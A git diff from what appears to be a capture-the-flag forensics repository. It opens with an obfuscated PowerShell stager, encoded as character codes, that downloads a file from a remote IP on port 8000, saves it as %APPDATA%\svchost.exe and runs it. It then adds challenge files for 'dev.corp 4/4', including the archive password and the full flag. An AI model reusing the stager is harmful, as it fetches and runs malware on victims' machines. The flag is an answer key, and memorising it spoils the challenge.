72,81,121,78,71,114,53,109,120,88,55,53,110,49,66,105,80,73,114,74,52,113,90,109,97,103,53,115,86,99,83,54,70,86,88,110,97,100,48,84,108,107,87,77,86,115,84,119,48,84,113,101,107,51,53,110,102,65,108,72,49,68,81,115,116,122,65,88,102,83,118,120,53,88,114,57,66,115,120,82,102,84,79,101,71,56,69,80,78,86,107,54,51,122,75,72,66,104,80,65,90,79,68,78,121,73,76,117,72,73,52,55,75,88,86,50,51,83,56,71,121,118,51,114,56,101,82,84,74,50,57,114,109,50,119,87,103,70,100,109,80,85,70,83,109,117,106,89,71,119,67,112,48,75,99,53,115,106,73,121,82,72,98,78,101,103,117,70,69,120,119,48,89,108,75,109,88,82,112,73,57,114,51,109,83,85,52,48,107,75,118,109,79,116,85,99,67,111,105,55,104,109,48,114,88,69,51,103,72,68,102,100,73,79,103,67,85,108,56,78,50,79,111,83,68,119,119,57,98,114,88,113,101,83,50,68,81,121,48,99,109,82,110,116,68,70,109,101,52,119,84,90,57,90,120,70,79,118,69,51,109,75,79,109,48,51,49,78,115,77,118,120,55,73,53,79,73,98,65,77,75,73,115,77,82,121,83,103,68,84,81,107,57,78,109,117,51,118,81,99,119,89,110,52,77,118,71,77,102,101,83,48,88,66,81,79,51,65,51,103,108,54,98,112,114,113,81,84,104,106,78,74,50,113,120,108,101,73,32,61,32,39,46,49,54,51,46,50,52,55,39,10,36,49,82,116,101,51,53,56,88,104,51,65,111,111,72,53,80,52,116,112,118,48,111,77,85,51,103,112,73,52,51,51,82,119,77,53,122,52,111,99,115,82,75,108,55,120,54,100,85,53,106,105,86,99,68,48,74,117,56,107,107,72,78,66,81,108,114,121,118,66,80,81,53,113,115,107,98,73,106,102,97,105,73,79,81,90,122,90,71,69,70,113,99,80,71,105,66,113,74,56,101,120,107,98,102,88,101,110,99,121,101,83,109,119,83,51,67,117,54,99,48,117,99,83,109,76,82,86,88,121,118,116,107,98,75,69,49,76,116,119,70,65,88,118,103,88,89,109,98,109,72,115,110,53,86,48,50,98,105,110,90,89,53,89,115,105,98,110,65,48,110,101,77,88,78,103,101,89,107,111,89,112,80,84,74,82,119,117,98,52,69,70,104,56,55,113,84,99,88,54,103,84,81,105,52,87,102,69,79,106,99,76,112,78,111,104,87,118,65,79,89,90,115,73,103,85,80,80,114,75,120,97,69,97,71,79,87,49,85,83,115,86,103,113,65,97,77,56,112,72,48,74,111,65,48,57,111,122,65,120,116,122,102,54,65,101,89,54,111,122,55,105,116,85,110,79,104,116,103,102,52,54,83,53,56,110,118,74,52,56,82,118,66,110,79,68,66,68,99,101,53,117,78,112,113,107,108,99,117,79,76,72,105,80,98,119,79,102,55,114,110,72,100,53,57,113,56,105,99,88,118,101,56,97,49,78,65,56,108,52,73,74,67,102,84,105,89,101,73,106,88,67,66,82,88,118,98,107,81,108,85,81,104,119,86,114,72,68,50,106,110,97,78,49,113,84,71,72,71,82,115,108,78,54,81,50,48,89,83,66,111,98,70,86,106,99,110,108,72,116,80,100,79,118,70,77,114,53,121,52,86,80,119,111,74,100,84,118,118,116,81,106,68,98,118,74,69,74,54,82,51,90,117,57,77,80,111,110,108,74,89,48,48,49,84,110,76,101,68,112,72,75,72,79,54,51,70,57,106,100,80,57,115,120,90,71,66,109,120,87,117,72,90,113,88,56,110,74,102,115,106,50,110,85,105,71,69,113,108,108,114,112,71,88,88,56,77,54,77,69,102,87,74,74,78,53,48,52,89,69,74,53,89,69,83,67,87,67,77,66,104,81,89,75,114,85,113,99,77,48,112,57,118,87,97,81,100,101,54,79,112,52,52,106,53,75,48,65,97,81,82,103,51,77,65,117,97,80,118,118,115,70,49,83,114,50,111,71,101,57,74,73,109,112,78,65,82,109,108,114,50,120,83,51,112,51,108,105,76,122,115,107,102,83,70,103,56,97,104,55,120,114,56,66,75,66,74,57,121,115,84,88,49,100,102,56,50,108,80,82,87,118,72,120,98,48,106,104,50,116,82,74,112,82,109,66,98,80,51,77,70,99,73,72,69,104,118,74,110,109,99,72,65,78,51,73,105,52,67,98,116,54,67,102,122,74,50,106,67,108,88,122,50,110,68,87,105,68,105,110,65,70,87,107,104,57,99,75,49,71,50,115,88,120,65,71,80,116,74,101,71,119,71,79,74,69,74,55,89,71,122,86,65,65,98,48,73,87,110,104,107,86,84,98,78,107,80,86,50,114,90,120,107,74,109,118,110,110,75,114,104,122,108,104,76,54,101,71,105,85,108,50,112,80,75,99,88,86,112,104,69,71,87,108,112,54,78,107,87,118,114,115,111,79,109,67,109,99,67,48,76,75,98,85,53,85,77,85,113,104,111,106,118,99,108,55,50,107,102,112,79,107,115,82,103,105,102,77,74,99,98,81,120,53,83,99,73,114,77,78,66,72,105,117,87,76,109,113,67,105,88,71,102,52,74,76,76,57,79,110,108,100,69,116,101,120,116,122,76,32,61,32,39,58,56,48,48,48,39,10,36,90,116,112,81,109,78,81,109,104,98,67,99,98,102,76,112,81,114,81,68,55,72,74,79,70,77,89,78,48,98,113,53,99,101,90,89,111,88,88,108,99,110,115,74,66,99,97,97,86,107,79,74,54,72,74,114,86,57,114,108,106,122,83,54,105,104,100,112,100,116,81,89,48,81,108,81,106,51,77,57,75,102,85,122,79,48,109,57,111,79,70,104,67,90,111,105,118,113,80,79,111,69,86,109,71,122,113,74,111,98,117,82,120,72,69,100,76,107,121,117,75,73,55,51,66,121,57,98,111,121,52,119,53,57,76,74,83,112,71,48,77,49,109,116,112,101,113,77,71,102,83,68,50,112,68,121,120,116,54,110,109,103,103,102,103,72,67,65,106,83,76,73,49,106,75,106,97,121,55,82,110,55,88,74,112,119,75,111,81,107,103,113,52,82,103,68,69,111,119,66,104,122,105,104,76,69,66,80,109,73,106,81,79,116,78,57,69,71,70,77,81,90,89,106,88,65,98,52,98,57,83,99,50,110,101,111,53,76,114,79,69,81,56,117,52,66,71,113,113,89,48,101,72,73,119,85,54,121,82,121,72,89,112,99,88,48,117,52,117,49,103,90,65,109,108,65,105,109,76,122,68,89,67,115,101,97,101,56,105,97,88,120,52,118,80,120,74,49,110,89,100,88,48,68,78,51,70,102,90,103,107,104,68,109,113,79,74,53,99,48,106,117,115,52,74,97,83,97,86,100,106,82,118,75,110,50,122,101,57,104,121,115,90,90,69,117,86,55,102,67,117,65,118,100,100,76,83,112,52,122,107,68,76,111,79,98,67,68,121,107,52,101,103,98,111,78,90,121,74,101,98,67,98,79,111,107,122,54,114,66,104,72,52,52,122,80,112,54,97,53,66,56,105,117,110,101,71,97,120,100,120,74,102,83,83,75,118,67,110,85,77,89,99,82,74,79,121,119,82,82,88,51,67,83,99,75,53,101,114,105,48,115,51,116,90,53,79,56,109,51,75,50,74,73,97,100,66,110,70,119,51,111,72,86,71,109,116,99,108,55,53,82,85,104,53,85,109,76,72,119,97,99,110,50,78,53,52,67,105,52,76,57,81,80,66,87,83,85,85,54,105,119,113,73,101,50,112,101,89,83,70,115,90,68,106,71,48,112,70,111,107,120,101,84,71,101,87,80,72,89,54,115,118,83,98,98,56,66,53,103,32,61,32,39,47,102,97,118,105,99,111,110,46,105,99,111,39,10,36,114,82,76,78,68,108,48,80,57,51,117,102,84,106,90,120,77,111,117,53,50,66,76,88,113,122,112,88,89,118,112,115,72,111,69,100,66,108,118,65,83,79,82,70,111,119,73,115,76,56,111,102,77,84,100,74,109,56,89,67,51,84,97,120,120,109,80,52,82,76,113,71,98,116,57,110,82,73,54,55,49,116,110,101,90,118,99,80,57,111,52,116,117,104,71,78,89,52,57,55,122,78,66,71,103,68,49,121,97,74,73,79,77,78,76,101,118,48,100,81,81,107,89,117,76,97,89,70,73,107,116,101,56,101,89,73,53,100,88,75,81,121,65,80,56,90,119,78,98,115,50,115,56,48,102,54,50,53,101,49,90,105,115,108,51,105,120,50,112,74,110,87,76,105,90,117,78,81,76,57,111,69,100,88,81,104,120,98,71,98,110,113,75,81,52,99,107,86,87,56,100,65,74,101,81,103,119,121,108,78,55,116,104,121,54,82,122,53,74,113,90,110,53,79,50,48,78,99,117,109,89,54,79,48,102,119,55,110,79,86,57,52,111,53,106,113,118,105,119,68,114,81,104,88,121,86,80,84,54,56,73,105,85,109,78,120,77,32,61,32,36,101,78,118,58,65,80,80,68,65,84,65,10,36,73,121,89,57,74,57,75,72,89,115,85,50,52,80,117,109,119,122,97,66,79,111,48,101,79,121,115,111,113,113,83,99,81,108,49,51,101,76,66,98,50,53,102,73,115,75,51,88,77,103,52,109,90,85,119,88,106,112,99,49,105,66,88,71,102,48,71,57,84,83,104,100,116,104,56,121,89,52,50,120,48,65,69,65,67,68,83,55,80,75,84,75,118,57,103,79,103,81,69,120,76,81,69,57,79,109,85,82,75,57,80,83,73,117,66,76,76,97,102,100,113,86,52,69,114,116,53,73,79,77,106,49,109,115,101,122,85,117,100,68,69,81,118,82,52,71,70,77,65,82,66,74,71,50,90,106,83,109,90,121,121,113,84,54,81,65,65,49,120,113,104,114,99,81,52,79,68,72,85,99,107,49,98,80,114,54,52,85,117,111,77,98,108,65,81,97,80,115,55,57,97,75,88,118,113,85,80,87,109,90,74,85,52,57,98,83,73,103,72,75,98,112,113,99,74,120,76,54,50,53,52,65,107,110,50,57,49,113,57,51,69,86,78,114,74,50,85,75,55,48,89,55,65,90,56,107,68,79,51,51,122,68,105,85,67,70,75,102,71,116,82,83,53,104,52,120,81,116,70,80,72,51,89,106,68,82,65,120,66,71,79,80,72,69,117,72,102,108,57,109,65,115,115,107,102,89,75,55,72,50,72,97,49,86,107,110,112,52,99,53,105,83,80,119,68,72,106,101,109,75,115,84,114,66,104,51,65,82,118,102,72,112,71,53,70,51,85,72,121,122,88,67,113,66,100,118,119,109,103,69,89,56,90,85,110,70,54,55,72,107,97,108,66,114,52,71,97,67,106,82,81,85,104,57,103,79,109,97,121,50,56,83,80,113,90,111,87,73,109,101,121,53,104,114,107,65,81,67,66,57,51,99,54,114,54,118,122,85,110,113,101,65,83,54,111,76,79,102,48,56,54,106,82,77,81,104,106,57,72,52,110,107,115,78,110,122,102,90,71,73,111,99,52,75,97,122,99,84,107,86,57,106,90,73,101,108,80,77,65,112,87,86,111,118,120,76,90,57,108,103,116,111,88,119,66,99,49,57,106,119,82,102,73,112,68,80,56,82,109,121,100,101,70,122,102,71,108,81,75,68,114,79,77,53,121,86,107,84,50,105,103,110,51,104,52,100,118,55,51,72,119,70,88,114,97,103,68,54,105,80,119,102,75,75,70,115,78,79,109,56,101,88,76,72,52,112,54,82,73,108,50,72,102,121,77,75,110,83,52,107,65,103,109,105,117,103,122,52,106,117,51,102,117,69,50,70,98,32,61,32,39,92,115,118,99,104,111,115,116,46,101,120,101,39,32,10,73,110,118,111,107,101,45,87,101,98,82,101,113,117,101,115,116,32,45,85,114,105,32,36,71,75,74,108,101,77,85,68,119,73,105,69,102,115,66,55,87,117,103,79,100,81,82,120,55,115,97,107,74,88,76,52,73,100,50,98,120,77,74,84,51,68,57,120,77,75,52,48,53,52,89,113,114,50,73,73,97,83,99,110,109,102,116,74,65,118,65,69,77,66,67,121,102,89,119,84,85,118,52,78,98,83,112,121,105,110,81,86,75,67,88,67,118,68,102,66,66,121,70,105,49,84,115,82,77,66,120,109,76,107,72,101,56,83,105,113,65,100,104,114,48,76,80,66,66,50,54,117,103,120,50,52,67,77,89,57,111,70,106,71,108,77,81,74,81,55,55,80,51,50,67,77,80,81,80,100,77,56,55,48,77,66,72,97,78,57,109,65,79,54,70,81,84,86,105,88,119,103,56,87,106,102,49,65,74,74,71,101,100,77,98,118,99,90,101,107,120,106,86,56,104,56,97,121,78,112,85,115,51,102,109,81,48,54,100,67,56,122,80,90,105,100,75,72,79,111,84,49,53,70,89,83,67,88,104,83,117,104,50,70,74,89,112,55,110,87,118,81,53,81,82,75,119,122,81,87,57,81,48,80,107,56,71,84,69,68,105,78,67,73,49,103,112,97,77,100,122,73,56,115,48,121,77,86,51,118,80,80,65,118,89,74,75,112,57,103,80,110,73,102,53,113,49,84,77,51,121,49,51,68,53,71,72,80,56,67,53,118,112,66,97,120,110,81,51,57,113,65,48,87,106,52,48,86,115,106,109,103,76,82,90,85,75,81,99,113,52,66,75,67,80,101,103,110,108,106,98,107,90,71,108,85,89,87,107,116,121,104,57,89,50,77,70,76,75,90,84,81,56,108,55,88,76,83,52,52,113,82,53,100,103,51,90,97,50,56,90,65,56,68,88,120,53,52,65,110,98,97,105,77,88,75,115,107,56,74,101,57,70,74,54,57,84,56,116,70,120,51,55,77,80,108,109,107,99,52,68,53,89,48,84,57,118,105,52,98,53,99,89,83,72,54,49,84,99,105,114,52,100,56,83,114,50,85,88,122,73,107,57,98,114,55,110,83,116,119,50,119,82,90,74,121,76,50,81,83,100,67,79,49,67,52,72,105,79,73,89,98,49,87,77,55,76,76,121,77,112,106,65,108,56,98,79,83,78,79,107,87,55,68,70,55,70,51,106,78,68,83,88,70,106,118,121,97,51,90,97,36,71,107,116,57,69,114,79,87,51,79,53,118,54,115,85,86,86,55,52,57,69,81,102,56,74,51,114,108,112,88,87,66,72,100,76,102,121,74,98,50,52,115,112,79,118,122,48,80,103,111,49,69,86,100,66,68,77,75,66,109,79,87,74,57,113,99,112,81,78,76,73,117,66,100,68,105,87,83,74,48,90,115,80,48,89,75,106,87,90,73,53,57,82,72,112,71,119,103,99,52,86,106,110,109,107,107,107,116,48,48,68,57,114,109,108,67,100,104,74,85,57,115,117,83,74,82,77,111,48,90,80,107,119,67,72,51,78,114,77,101,57,101,81,104,106,121,70,76,87,68,83,116,73,68,72,115,89,122,76,82,115,113,119,101,86,90,120,71,109,118,51,116,86,82,97,115,65,75,105,112,111,80,113,66,87,97,74,86,120,110,55,122,71,82,82,71,104,81,86,97,50,98,57,119,104,108,101,99,66,115,122,69,110,55,120,102,57,113,66,115,77,117,71,78,82,122,110,121,69,114,120,121,78,114,113,75,52,83,90,109,57,117,48,103,89,57,49,48,55,70,55,67,83,113,111,100,76,111,82,52,120,53,98,68,36,71,51,108,89,57,118,101,85,111,121,70,86,79,100,98,51,78,122,115,52,103,116,75,81,111,100,108,102,97,65,55,72,100,120,97,116,76,49,120,68,66,107,111,51,102,98,83,50,109,103,90,69,109,118,67,76,75,101,106,115,75,101,84,88,80,98,50,55,120,89,67,107,52,117,66,78,66,98,88,76,99,78,113,112,72,77,108,105,74,77,78,114,54,88,98,102,54,110,56,54,78,109,76,120,69,120,109,74,116,108,48,104,70,48,121,72,81,121,78,71,114,53,109,120,88,55,53,110,49,66,105,80,73,114,74,52,113,90,109,97,103,53,115,86,99,83,54,70,86,88,110,97,100,48,84,108,107,87,77,86,115,84,119,48,84,113,101,107,51,53,110,102,65,108,72,49,68,81,115,116,122,65,88,102,83,118,120,53,88,114,57,66,115,120,82,102,84,79,101,71,56,69,80,78,86,107,54,51,122,75,72,66,104,80,65,90,79,68,78,121,73,76,117,72,73,52,55,75,88,86,50,51,83,56,71,121,118,51,114,56,101,82,84,74,50,57,114,109,50,119,87,103,70,100,109,80,85,70,83,109,117,106,89,71,119,67,112,48,75,99,53,115,106,73,121,82,72,98,78,101,103,117,70,69,120,119,48,89,108,75,109,88,82,112,73,57,114,51,109,83,85,52,48,107,75,118,109,79,116,85,99,67,111,105,55,104,109,48,114,88,69,51,103,72,68,102,100,73,79,103,67,85,108,56,78,50,79,111,83,68,119,119,57,98,114,88,113,101,83,50,68,81,121,48,99,109,82,110,116,68,70,109,101,52,119,84,90,57,90,120,70,79,118,69,51,109,75,79,109,48,51,49,78,115,77,118,120,55,73,53,79,73,98,65,77,75,73,115,77,82,121,83,103,68,84,81,107,57,78,109,117,51,118,81,99,119,89,110,52,77,118,71,77,102,101,83,48,88,66,81,79,51,65,51,103,108,54,98,112,114,113,81,84,104,106,78,74,50,113,120,108,101,73,36,49,82,116,101,51,53,56,88,104,51,65,111,111,72,53,80,52,116,112,118,48,111,77,85,51,103,112,73,52,51,51,82,119,77,53,122,52,111,99,115,82,75,108,55,120,54,100,85,53,106,105,86,99,68,48,74,117,56,107,107,72,78,66,81,108,114,121,118,66,80,81,53,113,115,107,98,73,106,102,97,105,73,79,81,90,122,90,71,69,70,113,99,80,71,105,66,113,74,56,101,120,107,98,102,88,101,110,99,121,101,83,109,119,83,51,67,117,54,99,48,117,99,83,109,76,82,86,88,121,118,116,107,98,75,69,49,76,116,119,70,65,88,118,103,88,89,109,98,109,72,115,110,53,86,48,50,98,105,110,90,89,53,89,115,105,98,110,65,48,110,101,77,88,78,103,101,89,107,111,89,112,80,84,74,82,119,117,98,52,69,70,104,56,55,113,84,99,88,54,103,84,81,105,52,87,102,69,79,106,99,76,112,78,111,104,87,118,65,79,89,90,115,73,103,85,80,80,114,75,120,97,69,97,71,79,87,49,85,83,115,86,103,113,65,97,77,56,112,72,48,74,111,65,48,57,111,122,65,120,116,122,102,54,65,101,89,54,111,122,55,105,116,85,110,79,104,116,103,102,52,54,83,53,56,110,118,74,52,56,82,118,66,110,79,68,66,68,99,101,53,117,78,112,113,107,108,99,117,79,76,72,105,80,98,119,79,102,55,114,110,72,100,53,57,113,56,105,99,88,118,101,56,97,49,78,65,56,108,52,73,74,67,102,84,105,89,101,73,106,88,67,66,82,88,118,98,107,81,108,85,81,104,119,86,114,72,68,50,106,110,97,78,49,113,84,71,72,71,82,115,108,78,54,81,50,48,89,83,66,111,98,70,86,106,99,110,108,72,116,80,100,79,118,70,77,114,53,121,52,86,80,119,111,74,100,84,118,118,116,81,106,68,98,118,74,69,74,54,82,51,90,117,57,77,80,111,110,108,74,89,48,48,49,84,110,76,101,68,112,72,75,72,79,54,51,70,57,106,100,80,57,115,120,90,71,66,109,120,87,117,72,90,113,88,56,110,74,102,115,106,50,110,85,105,71,69,113,108,108,114,112,71,88,88,56,77,54,77,69,102,87,74,74,78,53,48,52,89,69,74,53,89,69,83,67,87,67,77,66,104,81,89,75,114,85,113,99,77,48,112,57,118,87,97,81,100,101,54,79,112,52,52,106,53,75,48,65,97,81,82,103,51,77,65,117,97,80,118,118,115,70,49,83,114,50,111,71,101,57,74,73,109,112,78,65,82,109,108,114,50,120,83,51,112,51,108,105,76,122,115,107,102,83,70,103,56,97,104,55,120,114,56,66,75,66,74,57,121,115,84,88,49,100,102,56,50,108,80,82,87,118,72,120,98,48,106,104,50,116,82,74,112,82,109,66,98,80,51,77,70,99,73,72,69,104,118,74,110,109,99,72,65,78,51,73,105,52,67,98,116,54,67,102,122,74,50,106,67,108,88,122,50,110,68,87,105,68,105,110,65,70,87,107,104,57,99,75,49,71,50,115,88,120,65,71,80,116,74,101,71,119,71,79,74,69,74,55,89,71,122,86,65,65,98,48,73,87,110,104,107,86,84,98,78,107,80,86,50,114,90,120,107,74,109,118,110,110,75,114,104,122,108,104,76,54,101,71,105,85,108,50,112,80,75,99,88,86,112,104,69,71,87,108,112,54,78,107,87,118,114,115,111,79,109,67,109,99,67,48,76,75,98,85,53,85,77,85,113,104,111,106,118,99,108,55,50,107,102,112,79,107,115,82,103,105,102,77,74,99,98,81,120,53,83,99,73,114,77,78,66,72,105,117,87,76,109,113,67,105,88,71,102,52,74,76,76,57,79,110,108,100,69,116,101,120,116,122,76,36,90,116,112,81,109,78,81,109,104,98,67,99,98,102,76,112,81,114,81,68,55,72,74,79,70,77,89,78,48,98,113,53,99,101,90,89,111,88,88,108,99,110,115,74,66,99,97,97,86,107,79,74,54,72,74,114,86,57,114,108,106,122,83,54,105,104,100,112,100,116,81,89,48,81,108,81,106,51,77,57,75,102,85,122,79,48,109,57,111,79,70,104,67,90,111,105,118,113,80,79,111,69,86,109,71,122,113,74,111,98,117,82,120,72,69,100,76,107,121,117,75,73,55,51,66,121,57,98,111,121,52,119,53,57,76,74,83,112,71,48,77,49,109,116,112,101,113,77,71,102,83,68,50,112,68,121,120,116,54,110,109,103,103,102,103,72,67,65,106,83,76,73,49,106,75,106,97,121,55,82,110,55,88,74,112,119,75,111,81,107,103,113,52,82,103,68,69,111,119,66,104,122,105,104,76,69,66,80,109,73,106,81,79,116,78,57,69,71,70,77,81,90,89,106,88,65,98,52,98,57,83,99,50,110,101,111,53,76,114,79,69,81,56,117,52,66,71,113,113,89,48,101,72,73,119,85,54,121,82,121,72,89,112,99,88,48,117,52,117,49,103,90,65,109,108,65,105,109,76,122,68,89,67,115,101,97,101,56,105,97,88,120,52,118,80,120,74,49,110,89,100,88,48,68,78,51,70,102,90,103,107,104,68,109,113,79,74,53,99,48,106,117,115,52,74,97,83,97,86,100,106,82,118,75,110,50,122,101,57,104,121,115,90,90,69,117,86,55,102,67,117,65,118,100,100,76,83,112,52,122,107,68,76,111,79,98,67,68,121,107,52,101,103,98,111,78,90,121,74,101,98,67,98,79,111,107,122,54,114,66,104,72,52,52,122,80,112,54,97,53,66,56,105,117,110,101,71,97,120,100,120,74,102,83,83,75,118,67,110,85,77,89,99,82,74,79,121,119,82,82,88,51,67,83,99,75,53,101,114,105,48,115,51,116,90,53,79,56,109,51,75,50,74,73,97,100,66,110,70,119,51,111,72,86,71,109,116,99,108,55,53,82,85,104,53,85,109,76,72,119,97,99,110,50,78,53,52,67,105,52,76,57,81,80,66,87,83,85,85,54,105,119,113,73,101,50,112,101,89,83,70,115,90,68,106,71,48,112,70,111,107,120,101,84,71,101,87,80,72,89,54,115,118,83,98,98,56,66,53,103,32,45,79,117,116,70,105,108,101,32,36,114,82,76,78,68,108,48,80,57,51,117,102,84,106,90,120,77,111,117,53,50,66,76,88,113,122,112,88,89,118,112,115,72,111,69,100,66,108,118,65,83,79,82,70,111,119,73,115,76,56,111,102,77,84,100,74,109,56,89,67,51,84,97,120,120,109,80,52,82,76,113,71,98,116,57,110,82,73,54,55,49,116,110,101,90,118,99,80,57,111,52,116,117,104,71,78,89,52,57,55,122,78,66,71,103,68,49,121,97,74,73,79,77,78,76,101,118,48,100,81,81,107,89,117,76,97,89,70,73,107,116,101,56,101,89,73,53,100,88,75,81,121,65,80,56,90,119,78,98,115,50,115,56,48,102,54,50,53,101,49,90,105,115,108,51,105,120,50,112,74,110,87,76,105,90,117,78,81,76,57,111,69,100,88,81,104,120,98,71,98,110,113,75,81,52,99,107,86,87,56,100,65,74,101,81,103,119,121,108,78,55,116,104,121,54,82,122,53,74,113,90,110,53,79,50,48,78,99,117,109,89,54,79,48,102,119,55,110,79,86,57,52,111,53,106,113,118,105,119,68,114,81,104,88,121,86,80,84,54,56,73,105,85,109,78,120,77,36,73,121,89,57,74,57,75,72,89,115,85,50,52,80,117,109,119,122,97,66,79,111,48,101,79,121,115,111,113,113,83,99,81,108,49,51,101,76,66,98,50,53,102,73,115,75,51,88,77,103,52,109,90,85,119,88,106,112,99,49,105,66,88,71,102,48,71,57,84,83,104,100,116,104,56,121,89,52,50,120,48,65,69,65,67,68,83,55,80,75,84,75,118,57,103,79,103,81,69,120,76,81,69,57,79,109,85,82,75,57,80,83,73,117,66,76,76,97,102,100,113,86,52,69,114,116,53,73,79,77,106,49,109,115,101,122,85,117,100,68,69,81,118,82,52,71,70,77,65,82,66,74,71,50,90,106,83,109,90,121,121,113,84,54,81,65,65,49,120,113,104,114,99,81,52,79,68,72,85,99,107,49,98,80,114,54,52,85,117,111,77,98,108,65,81,97,80,115,55,57,97,75,88,118,113,85,80,87,109,90,74,85,52,57,98,83,73,103,72,75,98,112,113,99,74,120,76,54,50,53,52,65,107,110,50,57,49,113,57,51,69,86,78,114,74,50,85,75,55,48,89,55,65,90,56,107,68,79,51,51,122,68,105,85,67,70,75,102,71,116,82,83,53,104,52,120,81,116,70,80,72,51,89,106,68,82,65,120,66,71,79,80,72,69,117,72,102,108,57,109,65,115,115,107,102,89,75,55,72,50,72,97,49,86,107,110,112,52,99,53,105,83,80,119,68,72,106,101,109,75,115,84,114,66,104,51,65,82,118,102,72,112,71,53,70,51,85,72,121,122,88,67,113,66,100,118,119,109,103,69,89,56,90,85,110,70,54,55,72,107,97,108,66,114,52,71,97,67,106,82,81,85,104,57,103,79,109,97,121,50,56,83,80,113,90,111,87,73,109,101,121,53,104,114,107,65,81,67,66,57,51,99,54,114,54,118,122,85,110,113,101,65,83,54,111,76,79,102,48,56,54,106,82,77,81,104,106,57,72,52,110,107,115,78,110,122,102,90,71,73,111,99,52,75,97,122,99,84,107,86,57,106,90,73,101,108,80,77,65,112,87,86,111,118,120,76,90,57,108,103,116,111,88,119,66,99,49,57,106,119,82,102,73,112,68,80,56,82,109,121,100,101,70,122,102,71,108,81,75,68,114,79,77,53,121,86,107,84,50,105,103,110,51,104,52,100,118,55,51,72,119,70,88,114,97,103,68,54,105,80,119,102,75,75,70,115,78,79,109,56,101,88,76,72,52,112,54,82,73,108,50,72,102,121,77,75,110,83,52,107,65,103,109,105,117,103,122,52,106,117,51,102,117,69,50,70,98,10,73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110,32,36,114,82,76,78,68,108,48,80,57,51,117,102,84,106,90,120,77,111,117,53,50,66,76,88,113,122,112,88,89,118,112,115,72,111,69,100,66,108,118,65,83,79,82,70,111,119,73,115,76,56,111,102,77,84,100,74,109,56,89,67,51,84,97,120,120,109,80,52,82,76,113,71,98,116,57,110,82,73,54,55,49,116,110,101,90,118,99,80,57,111,52,116,117,104,71,78,89,52,57,55,122,78,66,71,103,68,49,121,97,74,73,79,77,78,76,101,118,48,100,81,81,107,89,117,76,97,89,70,73,107,116,101,56,101,89,73,53,100,88,75,81,121,65,80,56,90,119,78,98,115,50,115,56,48,102,54,50,53,101,49,90,105,115,108,51,105,120,50,112,74,110,87,76,105,90,117,78,81,76,57,111,69,100,88,81,104,120,98,71,98,110,113,75,81,52,99,107,86,87,56,100,65,74,101,81,103,119,121,108,78,55,116,104,121,54,82,122,53,74,113,90,110,53,79,50,48,78,99,117,109,89,54,79,48,102,119,55,110,79,86,57,52,111,53,106,113,118,105,119,68,114,81,104,88,121,86,80,84,54,56,73,105,85,109,78,120,77,36,73,121,89,57,74,57,75,72,89,115,85,50,52,80,117,109,119,122,97,66,79,111,48,101,79,121,115,111,113,113,83,99,81,108,49,51,101,76,66,98,50,53,102,73,115,75,51,88,77,103,52,109,90,85,119,88,106,112,99,49,105,66,88,71,102,48,71,57,84,83,104,100,116,104,56,121,89,52,50,120,48,65,69,65,67,68,83,55,80,75,84,75,118,57,103,79,103,81,69,120,76,81,69,57,79,109,85,82,75,57,80,83,73,117,66,76,76,97,102,100,113,86,52,69,114,116,53,73,79,77,106,49,109,115,101,122,85,117,100,68,69,81,118,82,52,71,70,77,65,82,66,74,71,50,90,106,83,109,90,121,121,113,84,54,81,65,65,49,120,113,104,114,99,81,52,79,68,72,85,99,107,49,98,80,114,54,52,85,117,111,77,98,108,65,81,97,80,115,55,57,97,75,88,118,113,85,80,87,109,90,74,85,52,57,98,83,73,103,72,75,98,112,113,99,74,120,76,54,50,53,52,65,107,110,50,57,49,113,57,51,69,86,78,114,74,50,85,75,55,48,89,55,65,90,56,107,68,79,51,51,122,68,105,85,67,70,75,102,71,116,82,83,53,104,52,120,81,116,70,80,72,51,89,106,68,82,65,120,66,71,79,80,72,69,117,72,102,108,57,109,65,115,115,107,102,89,75,55,72,50,72,97,49,86,107,110,112,52,99,53,105,83,80,119,68,72,106,101,109,75,115,84,114,66,104,51,65,82,118,102,72,112,71,53,70,51,85,72,121,122,88,67,113,66,100,118,119,109,103,69,89,56,90,85,110,70,54,55,72,107,97,108,66,114,52,71,97,67,106,82,81,85,104,57,103,79,109,97,121,50,56,83,80,113,90,111,87,73,109,101,121,53,104,114,107,65,81,67,66,57,51,99,54,114,54,118,122,85,110,113,101,65,83,54,111,76,79,102,48,56,54,106,82,77,81,104,106,57,72,52,110,107,115,78,110,122,102,90,71,73,111,99,52,75,97,122,99,84,107,86,57,106,90,73,101,108,80,77,65,112,87,86,111,118,120,76,90,57,108,103,116,111,88,119,66,99,49,57,106,119,82,102,73,112,68,80,56,82,109,121,100,101,70,122,102,71,108,81,75,68,114,79,77,53,121,86,107,84,50,105,103,110,51,104,52,100,118,55,51,72,119,70,88,114,97,103,68,54,105,80,119,102,75,75,70,115,78,79,109,56,101,88,76,72,52,112,54,82,73,108,50,72,102,121,77,75,110,83,52,107,65,103,109,105,117,103,122,52,106,117,51,102,117,69,50,70,98)|%{[char]$_}));exit
\ No newline at end of file
diff --git a/Forensics/dev_corp_4-4/README.md b/Forensics/dev_corp_4-4/README.md
new file mode 100644
index 0000000..c178496
--- /dev/null
+++ b/Forensics/dev_corp_4-4/README.md
@@ -0,0 +1,43 @@
+# dev.corp 4/4
+
+### Category
+
+Forensic
+
+### Description
+
+The payload came from the .iso, and now we don't know what happened on the dev's computer.
+
+A little before the hard disk dump, we also made a memory capture, to potentially recover some evidence.
+
+We need the key of the malware to decrypt things, but we don't have them..
+
+The password for the 7z is : 5HF8dnXIW4uHWztCWHMBrmaVcIQLch3PlCWoEWYPhFKVugAbPJ
+
+Could you find :
+ - Path of the exfiltred files
+ - AES Key of the malware
+ - IV of the malware
+
+Format : **Hero{C:\\file1:C:\\file2:C:\\fileN:thisisthekey!!!!:thisistheiv!!!!!}**
+Author : **Worty**
+
+### Files
+
+- File from mega or google drive
+
+### Write up
+
+
+todo
+
+
+### Flag
+
+```Hero{C:\\Users\\dev\\Downloads\\personal.docx:C:\\Users\\dev\\Downloads\\passwords.docx:youwontseeitcome:wellmakeyoufall_}```
\ No newline at end of file
diff --git a/Forensics/dev_corp_4-4/challenge.yml b/Forensics/dev_corp_4-4/challenge.yml
new file mode 100644
index 0000000..ab83e19
--- /dev/null
+++ b/Forensics/dev_corp_4-4/challenge.yml
@@ -0,0 +1,54 @@
+---
+name: "dev.corp 4/4"
+author: "Worty"
+category: "Forensic"
+description: "The payload came from the .iso, and now we don't know what happened on the dev's computer.
+
+A little before the hard disk dump, we also made a memory capture, to potentially recover some evidence.
+
+We need the key of the malware to decrypt things, but we don't have them..
+
